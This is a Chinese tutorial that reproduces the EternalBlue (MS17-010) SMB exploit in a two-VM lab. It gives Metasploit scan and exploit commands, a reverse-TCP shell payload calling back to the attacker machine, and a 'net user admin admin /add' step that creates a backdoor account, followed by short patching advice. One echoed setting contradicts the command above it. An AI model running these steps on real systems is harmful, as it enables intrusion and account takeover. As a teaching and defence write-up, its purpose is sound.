作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一. 什么是永恒之蓝?
- 永恒之蓝
永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道等资源。而永恒之蓝则通过TCP端口(445)和(139)端口来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器里进行一系列的危险操作。 如远程控制木马,获取最高权限等。
- 危害
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。影响版本可以参考MS17-010介绍。
二. 复现MS17-010漏洞
1. 环境部署
- 靶机 : Windows 7虚拟机 IP:192.168.5.139
- 攻击机 :Kali-Linux-2021虚拟机 IP:192.168.5.133
2. 工具
这里就使用Kali自带的Metasploit工具。
MSF是一款高度模块化,即框架由多个module组成,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。MSF涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。是全球最受欢迎的工具。
3. 开始复现
- MS17-010漏洞是通过TCP端口445端进行远程代码执行的,所以我们在Kali先对Window 7进行Nmap扫描看看是否开启了445端口。
# nmap -v 192.168.5.139 //进行端口信息扫描,发现445端口是开发中的。
- 通过执行msfconsole指令进行启动
# msfconsole //启动
- 搜索ms17-010相关漏洞利用模块
msf6 > search ms17_010 //搜索相关模块,其中下面框出的一个是辅助模块一个是攻击模块。
- 进入auxiliary辅助模块,对 Window 7进行扫描,查看是否存在漏洞。
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.5.139 //这里直接输入靶机IP,不用输入所在网段。
rhosts => 192.168.5.0/24
msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 15 //设置线程,越大越快
threads => 15
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options //查看刚才设置有没有生成
msf6 auxiliary(scanner/smb/smb_ms17_010) > run //开始运行
这里说明192.168.5.139的主机存在该漏洞,所以我们可以对它进行攻击入侵。
- 进行exploit攻击模块,配置相关参数开始入侵。
msf6 auxiliary(scanner/smb/smb_ms17_010) > back //退出辅助模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue //进入攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets //可以查看那些系统可以复现。
**设置漏洞利用完成后的反弹模块,用以接收回馈信息:**
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads //查看有哪些载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell //过滤出我们需要的载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp //使用这个载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.5.133 //设置反弹IP地址(Kali)
lhost => 192.168.5.133
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444 //设置反弹端口
lport => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.5.139 //设置被攻击的目标主机IP(Window 7)
rhosts => 192.168.5.139
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options //查看是否设置成功
msf6 exploit(windows/smb/ms17_010_eternalblue) > run //运行
出现下面显示则说明已经入侵成功
- 操控Windows 7
C:\Windows\system32>ipconfig //我们会发现乱码
C:\Windows\system32>chcp 65001 //改变代码页(65001为UTF-8的代码页)
chcp 65001
Active code page: 65001
C:\Windows\system32>ipconfig //这回我们发现可以正常显示了
C:\Windows\system32>net user admin admin /add 创建admin用户,密码为admin。
更多相关用法可以在网上搜索,在这我就不罗列出来了!
三. MS17-010漏洞防范
这里我们知道MS17-010漏洞是利用SMB服务漏洞入侵的,而SMB服务使用的是TCP端口(445)和(139)端口,所以我们可以通过下面方法进行防范,在这我就不在演示了。
- 关闭不必要的端口,尤其是445端口。
- 打开防火墙,安装安全软件。
- 安装对应补丁。
四. 总结
为了维持操作系统的安全性,减少不必要的损失,我们要对操作系统及时进行更新系统,安装相关补丁,关闭不必要的服务和端口。